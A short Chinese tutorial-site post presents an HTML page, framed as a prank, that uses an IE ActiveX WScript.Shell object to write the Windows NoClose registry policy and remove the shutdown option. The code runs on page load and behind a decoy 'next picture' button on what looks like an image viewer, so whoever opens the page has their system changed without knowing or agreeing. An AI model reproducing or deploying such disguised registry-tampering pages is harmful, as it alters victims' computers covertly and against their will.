当前位置:首页 > PHP教程 > PHP常见问题

JavaScript实现删除电脑的关机键

纯属恶作剧(只对ie浏览器有效因为要调用activex)

<!-- e-mail:shyhero@outlook.com author: dujianing 删除关机按钮 --> <!doctype html> <html> <head> <meta charset="utf-8"/> <title></title> <script type="text/javascript" language="javascript"> function disabletaskmgr(flg){ var shell = new activexobject("wscript.shell"); try{ shell.regwrite("hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer\noclose", 1,"reg_dword") }catch(e){ throw e; } } </script> </head> <body onload="disabletaskmgr(true)"> <img src="imgs/2.jpg"/> <button onclick="disabletaskmgr(true)">下一张 </button> </body> </html>

备注:可以恶作剧一下,修改注册表,把值改为0就能还原



【说明】本文章由站长整理发布,文章内容不代表本站观点,如文中有侵权行为,请与本站客服联系(QQ:)!